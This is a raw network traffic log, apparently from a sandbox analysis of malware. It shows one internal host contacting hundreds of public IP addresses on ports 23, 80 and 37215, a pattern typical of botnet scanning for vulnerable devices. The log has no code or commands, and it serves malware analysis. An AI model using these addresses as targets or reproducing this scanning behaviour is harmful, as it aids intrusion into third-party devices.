Dec 3, 2024 23:16:43.380278111 CET	40602	23	192.168.2.23	184.204.156.158
Dec 3, 2024 23:16:43.380275965 CET	40596	80	192.168.2.23	76.82.126.188
Dec 3, 2024 23:16:43.380278111 CET	40602	23	192.168.2.23	70.203.175.219
Dec 3, 2024 23:16:43.380275965 CET	40596	80	192.168.2.23	105.115.129.141
Dec 3, 2024 23:16:43.380285978 CET	40602	23	192.168.2.23	182.107.47.134
Dec 3, 2024 23:16:43.380287886 CET	40602	23	192.168.2.23	184.183.221.12
Dec 3, 2024 23:16:43.380289078 CET	40602	23	192.168.2.23	40.69.90.207
Dec 3, 2024 23:16:43.380289078 CET	40596	80	192.168.2.23	203.170.12.181
Dec 3, 2024 23:16:43.380289078 CET	40596	80	192.168.2.23	179.191.92.138
Dec 3, 2024 23:16:43.380289078 CET	40602	23	192.168.2.23	114.131.217.116
Dec 3, 2024 23:16:43.380289078 CET	40596	80	192.168.2.23	119.65.241.210
Dec 3, 2024 23:16:43.380299091 CET	40596	80	192.168.2.23	43.59.234.118
Dec 3, 2024 23:16:43.380300045 CET	40602	23	192.168.2.23	164.71.51.121
Dec 3, 2024 23:16:43.380300045 CET	40602	23	192.168.2.23	151.227.252.131
Dec 3, 2024 23:16:43.380300999 CET	40602	23	192.168.2.23	167.28.183.41
Dec 3, 2024 23:16:43.380300999 CET	40602	23	192.168.2.23	105.144.81.11
Dec 3, 2024 23:16:43.380301952 CET	40602	23	192.168.2.23	41.133.220.111
Dec 3, 2024 23:16:43.380301952 CET	40602	23	192.168.2.23	197.185.162.184
Dec 3, 2024 23:16:43.380301952 CET	40596	80	192.168.2.23	149.107.97.62
Dec 3, 2024 23:16:43.380301952 CET	40596	80	192.168.2.23	210.175.90.37
Dec 3, 2024 23:16:43.380301952 CET	40596	80	192.168.2.23	199.69.151.163
Dec 3, 2024 23:16:43.380301952 CET	40596	80	192.168.2.23	79.157.74.243
Dec 3, 2024 23:16:43.380301952 CET	40602	23	192.168.2.23	32.107.66.12
Dec 3, 2024 23:16:43.380306959 CET	40596	80	192.168.2.23	63.57.238.77
Dec 3, 2024 23:16:43.380307913 CET	40596	80	192.168.2.23	160.82.227.211
Dec 3, 2024 23:16:43.380311012 CET	40602	23	192.168.2.23	12.175.246.98
Dec 3, 2024 23:16:43.380311012 CET	40602	23	192.168.2.23	190.69.157.24
Dec 3, 2024 23:16:43.380314112 CET	40596	80	192.168.2.23	176.132.148.245
Dec 3, 2024 23:16:43.380320072 CET	40596	80	192.168.2.23	100.177.159.204
Dec 3, 2024 23:16:43.380323887 CET	40596	80	192.168.2.23	35.11.225.252
Dec 3, 2024 23:16:43.380325079 CET	40602	23	192.168.2.23	47.199.180.123
Dec 3, 2024 23:16:43.380325079 CET	40596	80	192.168.2.23	111.69.43.152
Dec 3, 2024 23:16:43.380325079 CET	40596	80	192.168.2.23	137.145.44.251
Dec 3, 2024 23:16:43.380331993 CET	40602	23	192.168.2.23	41.155.184.36
Dec 3, 2024 23:16:43.380336046 CET	40596	80	192.168.2.23	220.103.53.19
Dec 3, 2024 23:16:43.380337000 CET	40596	80	192.168.2.23	36.121.87.41
Dec 3, 2024 23:16:43.380342960 CET	40602	23	192.168.2.23	195.129.97.7
Dec 3, 2024 23:16:43.380342960 CET	40602	23	192.168.2.23	23.240.121.120
Dec 3, 2024 23:16:43.380342960 CET	40602	23	192.168.2.23	95.84.113.139
Dec 3, 2024 23:16:43.380345106 CET	40602	23	192.168.2.23	157.57.13.102
Dec 3, 2024 23:16:43.380345106 CET	40602	23	192.168.2.23	147.105.200.127
Dec 3, 2024 23:16:43.380345106 CET	40596	80	192.168.2.23	40.86.162.53
Dec 3, 2024 23:16:43.380345106 CET	40602	23	192.168.2.23	178.6.74.196
Dec 3, 2024 23:16:43.380354881 CET	40596	80	192.168.2.23	185.225.77.205
Dec 3, 2024 23:16:43.380356073 CET	40596	80	192.168.2.23	27.62.87.142
Dec 3, 2024 23:16:43.380357027 CET	40602	23	192.168.2.23	145.89.147.9
Dec 3, 2024 23:16:43.380357027 CET	40602	23	192.168.2.23	144.137.151.62
Dec 3, 2024 23:16:43.380357027 CET	40596	80	192.168.2.23	154.12.96.230
Dec 3, 2024 23:16:43.380357027 CET	40596	80	192.168.2.23	198.177.9.136
Dec 3, 2024 23:16:43.380357027 CET	40602	23	192.168.2.23	211.171.237.12
Dec 3, 2024 23:16:43.380358934 CET	40602	23	192.168.2.23	156.208.152.93
Dec 3, 2024 23:16:43.380357027 CET	40596	80	192.168.2.23	60.132.151.166
Dec 3, 2024 23:16:43.380358934 CET	40596	80	192.168.2.23	48.110.198.160
Dec 3, 2024 23:16:43.380357027 CET	40602	23	192.168.2.23	141.82.6.91
Dec 3, 2024 23:16:43.380357027 CET	40602	23	192.168.2.23	101.245.223.203
Dec 3, 2024 23:16:43.380368948 CET	40602	23	192.168.2.23	200.12.162.106
Dec 3, 2024 23:16:43.380368948 CET	40596	80	192.168.2.23	182.52.35.124
Dec 3, 2024 23:16:43.380368948 CET	40602	23	192.168.2.23	168.55.196.216
Dec 3, 2024 23:16:43.380368948 CET	40596	80	192.168.2.23	209.245.85.25
Dec 3, 2024 23:16:43.380369902 CET	40602	23	192.168.2.23	73.53.37.19
Dec 3, 2024 23:16:43.380369902 CET	40602	23	192.168.2.23	184.198.84.61
Dec 3, 2024 23:16:43.380369902 CET	40596	80	192.168.2.23	9.144.190.100
Dec 3, 2024 23:16:43.380369902 CET	40596	80	192.168.2.23	179.255.144.254
Dec 3, 2024 23:16:43.380373955 CET	40596	80	192.168.2.23	142.119.223.109
Dec 3, 2024 23:16:43.380376101 CET	40596	80	192.168.2.23	209.32.28.73
Dec 3, 2024 23:16:43.380376101 CET	40602	23	192.168.2.23	54.118.27.126
Dec 3, 2024 23:16:43.380378008 CET	40602	23	192.168.2.23	151.69.250.38
Dec 3, 2024 23:16:43.380378008 CET	40602	23	192.168.2.23	61.211.203.254
Dec 3, 2024 23:16:43.380378008 CET	40596	80	192.168.2.23	46.117.142.169
Dec 3, 2024 23:16:43.380378962 CET	40602	23	192.168.2.23	200.97.26.241
Dec 3, 2024 23:16:43.380378962 CET	40602	23	192.168.2.23	207.76.201.210
Dec 3, 2024 23:16:43.380378962 CET	40602	23	192.168.2.23	133.120.25.149
Dec 3, 2024 23:16:43.380379915 CET	40602	23	192.168.2.23	140.145.143.112
Dec 3, 2024 23:16:43.380379915 CET	40602	23	192.168.2.23	18.140.226.172
Dec 3, 2024 23:16:43.380381107 CET	40596	80	192.168.2.23	124.83.183.221
Dec 3, 2024 23:16:43.380379915 CET	40602	23	192.168.2.23	79.48.107.167
Dec 3, 2024 23:16:43.380379915 CET	40602	23	192.168.2.23	159.145.195.97
Dec 3, 2024 23:16:43.380383968 CET	40602	23	192.168.2.23	210.216.95.239
Dec 3, 2024 23:16:43.380389929 CET	40602	23	192.168.2.23	43.94.243.121
Dec 3, 2024 23:16:43.380389929 CET	40602	23	192.168.2.23	167.160.222.102
Dec 3, 2024 23:16:43.380389929 CET	40602	23	192.168.2.23	179.34.238.6
Dec 3, 2024 23:16:43.380393982 CET	40596	80	192.168.2.23	9.184.170.213
Dec 3, 2024 23:16:43.380393982 CET	40596	80	192.168.2.23	69.91.234.6
Dec 3, 2024 23:16:43.380393982 CET	40602	23	192.168.2.23	60.94.71.132
Dec 3, 2024 23:16:43.380398035 CET	40602	23	192.168.2.23	223.107.50.167
Dec 3, 2024 23:16:43.380398035 CET	40596	80	192.168.2.23	62.223.228.108
Dec 3, 2024 23:16:43.380398035 CET	40596	80	192.168.2.23	52.255.185.246
Dec 3, 2024 23:16:43.380398035 CET	40602	23	192.168.2.23	220.55.132.38
Dec 3, 2024 23:16:43.380402088 CET	40602	23	192.168.2.23	60.105.37.211
Dec 3, 2024 23:16:43.380402088 CET	40602	23	192.168.2.23	173.64.241.216
Dec 3, 2024 23:16:43.380409002 CET	40596	80	192.168.2.23	68.1.129.25
Dec 3, 2024 23:16:43.380409956 CET	40596	80	192.168.2.23	180.58.93.22
Dec 3, 2024 23:16:43.380409956 CET	40596	80	192.168.2.23	213.180.213.223
Dec 3, 2024 23:16:43.380425930 CET	40596	80	192.168.2.23	54.55.240.76
Dec 3, 2024 23:16:43.380425930 CET	40602	23	192.168.2.23	152.73.172.203
Dec 3, 2024 23:16:43.380426884 CET	40596	80	192.168.2.23	207.221.37.103
Dec 3, 2024 23:16:43.380428076 CET	40602	23	192.168.2.23	48.31.252.121
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	178.174.191.116
Dec 3, 2024 23:16:43.380429029 CET	40602	23	192.168.2.23	27.148.173.112
Dec 3, 2024 23:16:43.380429029 CET	40602	23	192.168.2.23	162.79.139.32
Dec 3, 2024 23:16:43.380430937 CET	40602	23	192.168.2.23	143.219.196.9
Dec 3, 2024 23:16:43.380428076 CET	40596	80	192.168.2.23	146.133.100.235
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	40.73.115.169
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	74.217.225.49
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	122.19.166.95
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	218.244.114.108
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	62.178.80.113
Dec 3, 2024 23:16:43.380430937 CET	40602	23	192.168.2.23	195.111.205.106
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	130.111.86.19
Dec 3, 2024 23:16:43.380430937 CET	40602	23	192.168.2.23	117.150.234.151
Dec 3, 2024 23:16:43.380429029 CET	40602	23	192.168.2.23	92.121.201.201
Dec 3, 2024 23:16:43.380428076 CET	40596	80	192.168.2.23	163.211.222.21
Dec 3, 2024 23:16:43.380429029 CET	40602	23	192.168.2.23	119.145.93.89
Dec 3, 2024 23:16:43.380439043 CET	40602	23	192.168.2.23	133.181.250.112
Dec 3, 2024 23:16:43.380428076 CET	40596	80	192.168.2.23	140.5.136.247
Dec 3, 2024 23:16:43.380429029 CET	40596	80	192.168.2.23	157.7.32.120
Dec 3, 2024 23:16:43.380428076 CET	40602	23	192.168.2.23	52.42.151.247
Dec 3, 2024 23:16:43.380430937 CET	40596	80	192.168.2.23	41.207.4.109
Dec 3, 2024 23:16:43.380444050 CET	40596	80	192.168.2.23	208.130.153.1
Dec 3, 2024 23:16:43.380444050 CET	40596	80	192.168.2.23	138.223.52.249
Dec 3, 2024 23:16:43.380444050 CET	40596	80	192.168.2.23	133.145.132.93
Dec 3, 2024 23:16:43.380446911 CET	40602	23	192.168.2.23	124.33.68.62
Dec 3, 2024 23:16:43.380446911 CET	40596	80	192.168.2.23	17.66.231.177
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	117.84.177.116
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	4.212.26.222
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	46.191.142.156
Dec 3, 2024 23:16:43.380449057 CET	40596	80	192.168.2.23	143.89.140.109
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	40.177.202.243
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	124.130.182.108
Dec 3, 2024 23:16:43.380449057 CET	40602	23	192.168.2.23	212.92.38.168
Dec 3, 2024 23:16:43.380449057 CET	40596	80	192.168.2.23	135.205.214.78
Dec 3, 2024 23:16:43.380451918 CET	40596	80	192.168.2.23	131.15.194.45
Dec 3, 2024 23:16:43.380451918 CET	40602	23	192.168.2.23	38.173.22.158
Dec 3, 2024 23:16:43.380451918 CET	40602	23	192.168.2.23	180.247.41.102
Dec 3, 2024 23:16:43.380451918 CET	40602	23	192.168.2.23	222.65.147.206
Dec 3, 2024 23:16:43.380451918 CET	40596	80	192.168.2.23	129.63.175.89
Dec 3, 2024 23:16:43.380453110 CET	40602	23	192.168.2.23	193.79.1.130
Dec 3, 2024 23:16:43.380453110 CET	40602	23	192.168.2.23	120.224.174.64
Dec 3, 2024 23:16:43.380453110 CET	40602	23	192.168.2.23	44.160.209.199
Dec 3, 2024 23:16:43.380454063 CET	40602	23	192.168.2.23	68.67.161.108
Dec 3, 2024 23:16:43.380454063 CET	40602	23	192.168.2.23	212.92.13.69
Dec 3, 2024 23:16:43.380454063 CET	40602	23	192.168.2.23	159.8.55.169
Dec 3, 2024 23:16:43.380455971 CET	40602	23	192.168.2.23	76.100.167.159
Dec 3, 2024 23:16:43.380455971 CET	40602	23	192.168.2.23	158.232.137.95
Dec 3, 2024 23:16:43.380455971 CET	40596	80	192.168.2.23	208.11.62.20
Dec 3, 2024 23:16:43.380455971 CET	40602	23	192.168.2.23	183.146.164.134
Dec 3, 2024 23:16:43.380461931 CET	40596	80	192.168.2.23	134.91.102.238
Dec 3, 2024 23:16:43.380461931 CET	40602	23	192.168.2.23	144.178.136.129
Dec 3, 2024 23:16:43.380465984 CET	40602	23	192.168.2.23	198.46.122.129
Dec 3, 2024 23:16:43.380465984 CET	40602	23	192.168.2.23	119.49.25.120
Dec 3, 2024 23:16:43.380466938 CET	40602	23	192.168.2.23	119.22.195.115
Dec 3, 2024 23:16:43.380469084 CET	40602	23	192.168.2.23	195.230.106.37
Dec 3, 2024 23:16:43.380469084 CET	40602	23	192.168.2.23	14.239.1.124
Dec 3, 2024 23:16:43.380469084 CET	40602	23	192.168.2.23	40.117.200.34
Dec 3, 2024 23:16:43.380469084 CET	40602	23	192.168.2.23	86.182.82.226
Dec 3, 2024 23:16:43.380470991 CET	40602	23	192.168.2.23	126.245.81.13
Dec 3, 2024 23:16:43.380475998 CET	40602	23	192.168.2.23	106.138.84.47
Dec 3, 2024 23:16:43.380475998 CET	40602	23	192.168.2.23	131.11.216.18
Dec 3, 2024 23:16:43.380479097 CET	40602	23	192.168.2.23	154.143.189.187
Dec 3, 2024 23:16:43.380479097 CET	40602	23	192.168.2.23	171.184.4.209
Dec 3, 2024 23:16:43.380492926 CET	40602	23	192.168.2.23	78.162.138.93
Dec 3, 2024 23:16:43.380494118 CET	40602	23	192.168.2.23	41.33.254.148
Dec 3, 2024 23:16:43.380495071 CET	40602	23	192.168.2.23	199.157.128.157
Dec 3, 2024 23:16:43.380496025 CET	40602	23	192.168.2.23	42.199.40.121
Dec 3, 2024 23:16:43.380496025 CET	40602	23	192.168.2.23	187.137.241.168
Dec 3, 2024 23:16:43.380496979 CET	40602	23	192.168.2.23	131.39.113.190
Dec 3, 2024 23:16:43.380496979 CET	40602	23	192.168.2.23	159.156.169.122
Dec 3, 2024 23:16:43.380496979 CET	40602	23	192.168.2.23	34.212.50.139
Dec 3, 2024 23:16:43.380513906 CET	40602	23	192.168.2.23	59.44.89.46
Dec 3, 2024 23:16:43.380515099 CET	40602	23	192.168.2.23	66.58.183.86
Dec 3, 2024 23:16:43.380517960 CET	40602	23	192.168.2.23	104.64.75.220
Dec 3, 2024 23:16:43.380522013 CET	40602	23	192.168.2.23	79.121.196.109
Dec 3, 2024 23:16:43.380525112 CET	40602	23	192.168.2.23	120.18.217.228
Dec 3, 2024 23:16:43.380527973 CET	40602	23	192.168.2.23	196.224.132.242
Dec 3, 2024 23:16:43.380532980 CET	40602	23	192.168.2.23	107.192.171.225
Dec 3, 2024 23:16:43.380537033 CET	40602	23	192.168.2.23	112.69.73.244
Dec 3, 2024 23:16:43.380541086 CET	40602	23	192.168.2.23	194.7.141.151
Dec 3, 2024 23:16:43.380541086 CET	40602	23	192.168.2.23	166.210.126.193
Dec 3, 2024 23:16:43.380542994 CET	40602	23	192.168.2.23	102.30.252.237
Dec 3, 2024 23:16:43.380542994 CET	40602	23	192.168.2.23	13.169.253.221
Dec 3, 2024 23:16:43.380563974 CET	40602	23	192.168.2.23	189.168.204.66
Dec 3, 2024 23:16:43.380563974 CET	40602	23	192.168.2.23	196.50.134.201
Dec 3, 2024 23:16:43.380565882 CET	40602	23	192.168.2.23	142.237.188.211
Dec 3, 2024 23:16:43.380565882 CET	40602	23	192.168.2.23	164.74.96.15
Dec 3, 2024 23:16:43.380579948 CET	40602	23	192.168.2.23	70.101.119.100
Dec 3, 2024 23:16:43.380579948 CET	40602	23	192.168.2.23	191.203.33.150
Dec 3, 2024 23:16:43.380584002 CET	40602	23	192.168.2.23	5.66.219.19
Dec 3, 2024 23:16:43.380584955 CET	40602	23	192.168.2.23	148.133.187.220
Dec 3, 2024 23:16:43.380584955 CET	40602	23	192.168.2.23	163.159.101.149
Dec 3, 2024 23:16:43.380584955 CET	40602	23	192.168.2.23	4.131.214.114
Dec 3, 2024 23:16:43.380590916 CET	40602	23	192.168.2.23	46.20.224.89
Dec 3, 2024 23:16:43.380597115 CET	40602	23	192.168.2.23	104.28.201.228
Dec 3, 2024 23:16:43.380597115 CET	40602	23	192.168.2.23	65.80.210.130
Dec 3, 2024 23:16:43.380597115 CET	40602	23	192.168.2.23	109.242.25.26
Dec 3, 2024 23:16:43.380604982 CET	40602	23	192.168.2.23	133.216.116.245
Dec 3, 2024 23:16:43.380604982 CET	40602	23	192.168.2.23	155.105.173.196
Dec 3, 2024 23:16:43.380606890 CET	40602	23	192.168.2.23	155.190.140.56
Dec 3, 2024 23:16:43.380606890 CET	40602	23	192.168.2.23	85.214.212.158
Dec 3, 2024 23:16:43.380606890 CET	40602	23	192.168.2.23	24.74.151.111
Dec 3, 2024 23:16:43.380613089 CET	40602	23	192.168.2.23	112.42.32.37
Dec 3, 2024 23:16:43.380613089 CET	40602	23	192.168.2.23	136.122.13.167
Dec 3, 2024 23:16:43.380614042 CET	40602	23	192.168.2.23	97.180.223.122
Dec 3, 2024 23:16:43.380615950 CET	40602	23	192.168.2.23	62.174.130.51
Dec 3, 2024 23:16:43.380623102 CET	40602	23	192.168.2.23	88.103.20.116
Dec 3, 2024 23:16:43.380624056 CET	40602	23	192.168.2.23	76.100.128.23
Dec 3, 2024 23:16:43.380635977 CET	40602	23	192.168.2.23	196.126.101.209
Dec 3, 2024 23:16:43.380635977 CET	40602	23	192.168.2.23	113.108.142.36
Dec 3, 2024 23:16:43.380637884 CET	40602	23	192.168.2.23	202.2.99.52
Dec 3, 2024 23:16:43.380654097 CET	40602	23	192.168.2.23	5.52.165.82
Dec 3, 2024 23:16:43.380656958 CET	40602	23	192.168.2.23	39.135.149.46
Dec 3, 2024 23:16:43.380656958 CET	40602	23	192.168.2.23	78.66.170.168
Dec 3, 2024 23:16:43.380661964 CET	40602	23	192.168.2.23	133.107.11.138
Dec 3, 2024 23:16:43.380661964 CET	40602	23	192.168.2.23	136.179.235.47
Dec 3, 2024 23:16:43.380665064 CET	40602	23	192.168.2.23	174.190.203.190
Dec 3, 2024 23:16:43.380671978 CET	40602	23	192.168.2.23	212.141.208.29
Dec 3, 2024 23:16:43.380671978 CET	40602	23	192.168.2.23	79.66.186.239
Dec 3, 2024 23:16:43.380671978 CET	40602	23	192.168.2.23	185.229.225.100
Dec 3, 2024 23:16:43.380681992 CET	40602	23	192.168.2.23	160.161.188.78
Dec 3, 2024 23:16:43.380681992 CET	40602	23	192.168.2.23	25.20.223.70
Dec 3, 2024 23:16:43.380686045 CET	40602	23	192.168.2.23	101.84.112.234
Dec 3, 2024 23:16:43.380686045 CET	40602	23	192.168.2.23	175.8.128.61
Dec 3, 2024 23:16:43.380688906 CET	40602	23	192.168.2.23	12.143.48.190
Dec 3, 2024 23:16:43.380691051 CET	40602	23	192.168.2.23	88.122.224.158
Dec 3, 2024 23:16:43.380692959 CET	40602	23	192.168.2.23	43.49.57.102
Dec 3, 2024 23:16:43.380698919 CET	40602	23	192.168.2.23	109.47.173.169
Dec 3, 2024 23:16:43.380698919 CET	40602	23	192.168.2.23	101.122.222.11
Dec 3, 2024 23:16:43.380707026 CET	40602	23	192.168.2.23	122.242.171.248
Dec 3, 2024 23:16:43.380712032 CET	40602	23	192.168.2.23	135.167.24.196
Dec 3, 2024 23:16:43.380713940 CET	40602	23	192.168.2.23	163.180.150.25
Dec 3, 2024 23:16:43.380713940 CET	40602	23	192.168.2.23	210.160.42.176
Dec 3, 2024 23:16:43.380718946 CET	40602	23	192.168.2.23	102.211.91.239
Dec 3, 2024 23:16:43.380726099 CET	40602	23	192.168.2.23	46.223.97.134
Dec 3, 2024 23:16:43.380728006 CET	40602	23	192.168.2.23	213.61.150.62
Dec 3, 2024 23:16:43.380733013 CET	40602	23	192.168.2.23	185.93.128.28
Dec 3, 2024 23:16:43.380743980 CET	40602	23	192.168.2.23	23.234.112.191
Dec 3, 2024 23:16:43.380743980 CET	40602	23	192.168.2.23	103.228.79.147
Dec 3, 2024 23:16:43.380748987 CET	40602	23	192.168.2.23	148.4.70.101
Dec 3, 2024 23:16:43.380748987 CET	40602	23	192.168.2.23	130.33.111.109
Dec 3, 2024 23:16:43.380753040 CET	40602	23	192.168.2.23	38.53.101.127
Dec 3, 2024 23:16:43.380758047 CET	40602	23	192.168.2.23	123.60.64.195
Dec 3, 2024 23:16:43.380758047 CET	40602	23	192.168.2.23	197.105.105.180
Dec 3, 2024 23:16:43.380758047 CET	40602	23	192.168.2.23	44.236.237.74
Dec 3, 2024 23:16:43.380764961 CET	40602	23	192.168.2.23	220.156.213.173
Dec 3, 2024 23:16:43.380765915 CET	40602	23	192.168.2.23	101.94.200.199
Dec 3, 2024 23:16:43.380767107 CET	40602	23	192.168.2.23	183.117.236.201
Dec 3, 2024 23:16:43.380767107 CET	40602	23	192.168.2.23	105.212.33.179
Dec 3, 2024 23:16:43.380768061 CET	40602	23	192.168.2.23	189.147.191.67
Dec 3, 2024 23:16:43.380768061 CET	40602	23	192.168.2.23	197.173.67.153
Dec 3, 2024 23:16:43.380769014 CET	40602	23	192.168.2.23	45.230.188.186
Dec 3, 2024 23:16:43.380769014 CET	40602	23	192.168.2.23	171.136.210.37
Dec 3, 2024 23:16:43.380769014 CET	40602	23	192.168.2.23	101.191.62.211
Dec 3, 2024 23:16:43.380773067 CET	40602	23	192.168.2.23	74.72.145.85
Dec 3, 2024 23:16:43.380774975 CET	40602	23	192.168.2.23	141.125.195.139
Dec 3, 2024 23:16:43.380774975 CET	40602	23	192.168.2.23	40.47.55.50
Dec 3, 2024 23:16:43.380778074 CET	40602	23	192.168.2.23	192.210.157.167
Dec 3, 2024 23:16:43.380783081 CET	40602	23	192.168.2.23	205.212.10.206
Dec 3, 2024 23:16:43.380783081 CET	40602	23	192.168.2.23	63.69.181.5
Dec 3, 2024 23:16:43.380783081 CET	40602	23	192.168.2.23	151.32.80.196
Dec 3, 2024 23:16:43.380790949 CET	40602	23	192.168.2.23	112.46.59.46
Dec 3, 2024 23:16:43.380790949 CET	40602	23	192.168.2.23	27.96.83.24
Dec 3, 2024 23:16:43.380795956 CET	40602	23	192.168.2.23	218.165.225.71
Dec 3, 2024 23:16:43.380811930 CET	40602	23	192.168.2.23	52.109.238.127
Dec 3, 2024 23:16:43.380811930 CET	40602	23	192.168.2.23	41.77.85.66
Dec 3, 2024 23:16:43.380815029 CET	40602	23	192.168.2.23	150.77.160.20
Dec 3, 2024 23:16:43.380831003 CET	40602	23	192.168.2.23	92.154.168.124
Dec 3, 2024 23:16:43.380831003 CET	40602	23	192.168.2.23	155.40.85.55
Dec 3, 2024 23:16:43.380831957 CET	40602	23	192.168.2.23	187.94.174.113
Dec 3, 2024 23:16:43.380836010 CET	40602	23	192.168.2.23	96.9.47.185
Dec 3, 2024 23:16:43.380837917 CET	40602	23	192.168.2.23	194.32.234.157
Dec 3, 2024 23:16:43.380837917 CET	40602	23	192.168.2.23	158.19.164.240
Dec 3, 2024 23:16:43.380837917 CET	40602	23	192.168.2.23	152.204.227.11
Dec 3, 2024 23:16:43.380837917 CET	40602	23	192.168.2.23	80.216.227.3
Dec 3, 2024 23:16:43.380841970 CET	40602	23	192.168.2.23	168.221.195.201
Dec 3, 2024 23:16:43.380846977 CET	40602	23	192.168.2.23	213.60.155.225
Dec 3, 2024 23:16:43.380850077 CET	40602	23	192.168.2.23	211.211.83.149
Dec 3, 2024 23:16:43.380850077 CET	40602	23	192.168.2.23	101.124.124.143
Dec 3, 2024 23:16:43.387128115 CET	40597	37215	192.168.2.23	156.167.218.248
Dec 3, 2024 23:16:43.387137890 CET	40597	37215	192.168.2.23	156.235.138.31
Dec 3, 2024 23:16:43.387142897 CET	40597	37215	192.168.2.23	197.57.73.176
Dec 3, 2024 23:16:43.387142897 CET	40597	37215	192.168.2.23	197.121.178.243
Dec 3, 2024 23:16:43.387142897 CET	40597	37215	192.168.2.23	197.221.20.108
Dec 3, 2024 23:16:43.387151957 CET	40597	37215	192.168.2.23	156.155.223.174
Dec 3, 2024 23:16:43.387154102 CET	40597	37215	192.168.2.23	41.109.110.214
Dec 3, 2024 23:16:43.387154102 CET	40597	37215	192.168.2.23	41.3.131.1
Dec 3, 2024 23:16:43.387155056 CET	40597	37215	192.168.2.23	197.65.190.254
Dec 3, 2024 23:16:43.387156010 CET	40597	37215	192.168.2.23	156.32.1.249
Dec 3, 2024 23:16:43.387173891 CET	40597	37215	192.168.2.23	197.62.88.224
Dec 3, 2024 23:16:43.387173891 CET	40597	37215	192.168.2.23	197.162.33.76
Dec 3, 2024 23:16:43.387181044 CET	40597	37215	192.168.2.23	41.101.47.37
Dec 3, 2024 23:16:43.387187958 CET	40597	37215	192.168.2.23	156.204.173.95
Dec 3, 2024 23:16:43.387192011 CET	40597	37215	192.168.2.23	41.112.107.57
Dec 3, 2024 23:16:43.387195110 CET	40597	37215	192.168.2.23	41.95.245.38
Dec 3, 2024 23:16:43.387195110 CET	40597	37215	192.168.2.23	41.113.214.173
Dec 3, 2024 23:16:43.387195110 CET	40597	37215	192.168.2.23	197.32.135.176
Dec 3, 2024 23:16:43.387196064 CET	40597	37215	192.168.2.23	41.43.141.113
Dec 3, 2024 23:16:43.387201071 CET	40597	37215	192.168.2.23	156.31.185.179
Dec 3, 2024 23:16:43.387201071 CET	40597	37215	192.168.2.23	197.19.198.67
Dec 3, 2024 23:16:43.387201071 CET	40597	37215	192.168.2.23	156.201.179.77
Dec 3, 2024 23:16:43.387209892 CET	40597	37215	192.168.2.23	197.30.110.134
Dec 3, 2024 23:16:43.387212992 CET	40597	37215	192.168.2.23	41.199.163.190
Dec 3, 2024 23:16:43.387212992 CET	40597	37215	192.168.2.23	41.14.231.116
Dec 3, 2024 23:16:43.387212992 CET	40597	37215	192.168.2.23	156.229.62.22
Dec 3, 2024 23:16:43.387232065 CET	40597	37215	192.168.2.23	197.148.136.252
Dec 3, 2024 23:16:43.387234926 CET	40597	37215	192.168.2.23	197.244.166.168
Dec 3, 2024 23:16:43.387234926 CET	40597	37215	192.168.2.23	156.98.76.156
Dec 3, 2024 23:16:43.387238979 CET	40597	37215	192.168.2.23	41.220.112.204
Dec 3, 2024 23:16:43.387239933 CET	40597	37215	192.168.2.23	41.248.209.69
Dec 3, 2024 23:16:43.387239933 CET	40597	37215	192.168.2.23	41.186.103.211
Dec 3, 2024 23:16:43.387239933 CET	40597	37215	192.168.2.23	41.206.208.12
Dec 3, 2024 23:16:43.387239933 CET	40597	37215	192.168.2.23	197.39.18.238
Dec 3, 2024 23:16:43.387243032 CET	40597	37215	192.168.2.23	41.226.198.23
Dec 3, 2024 23:16:43.387245893 CET	40597	37215	192.168.2.23	197.248.171.91
Dec 3, 2024 23:16:43.387248993 CET	40597	37215	192.168.2.23	156.145.16.79
Dec 3, 2024 23:16:43.387248993 CET	40597	37215	192.168.2.23	197.25.4.105
Dec 3, 2024 23:16:43.387248993 CET	40597	37215	192.168.2.23	41.118.90.221
Dec 3, 2024 23:16:43.387252092 CET	40597	37215	192.168.2.23	41.119.219.107
Dec 3, 2024 23:16:43.387255907 CET	40597	37215	192.168.2.23	41.160.24.81
Dec 3, 2024 23:16:43.387258053 CET	40597	37215	192.168.2.23	41.65.111.103
Dec 3, 2024 23:16:43.387265921 CET	40597	37215	192.168.2.23	41.135.47.59
Dec 3, 2024 23:16:43.387268066 CET	40597	37215	192.168.2.23	41.43.240.7
Dec 3, 2024 23:16:43.387273073 CET	40597	37215	192.168.2.23	156.41.168.183
Dec 3, 2024 23:16:43.387273073 CET	40597	37215	192.168.2.23	156.60.18.217
Dec 3, 2024 23:16:43.387274027 CET	40597	37215	192.168.2.23	197.48.77.194
Dec 3, 2024 23:16:43.387273073 CET	40597	37215	192.168.2.23	156.196.252.168
Dec 3, 2024 23:16:43.387284040 CET	40597	37215	192.168.2.23	41.191.203.111
Dec 3, 2024 23:16:43.387284040 CET	40597	37215	192.168.2.23	156.4.138.4
Dec 3, 2024 23:16:43.387290001 CET	40597	37215	192.168.2.23	197.228.194.208
Dec 3, 2024 23:16:43.387290955 CET	40597	37215	192.168.2.23	197.80.89.193
Dec 3, 2024 23:16:43.387290955 CET	40597	37215	192.168.2.23	41.218.130.96
Dec 3, 2024 23:16:43.387303114 CET	40597	37215	192.168.2.23	41.229.200.12
Dec 3, 2024 23:16:43.387310028 CET	40597	37215	192.168.2.23	156.219.205.141
Dec 3, 2024 23:16:43.387310982 CET	40597	37215	192.168.2.23	156.127.67.153
Dec 3, 2024 23:16:43.387310982 CET	40597	37215	192.168.2.23	197.31.223.152
Dec 3, 2024 23:16:43.387310982 CET	40597	37215	192.168.2.23	197.192.28.32
Dec 3, 2024 23:16:43.387310982 CET	40597	37215	192.168.2.23	41.170.181.120
Dec 3, 2024 23:16:43.387317896 CET	40597	37215	192.168.2.23	197.67.150.125
Dec 3, 2024 23:16:43.387310982 CET	40597	37215	192.168.2.23	197.229.107.42
Dec 3, 2024 23:16:43.387319088 CET	40597	37215	192.168.2.23	41.27.16.159
Dec 3, 2024 23:16:43.387317896 CET	40597	37215	192.168.2.23	197.80.54.243
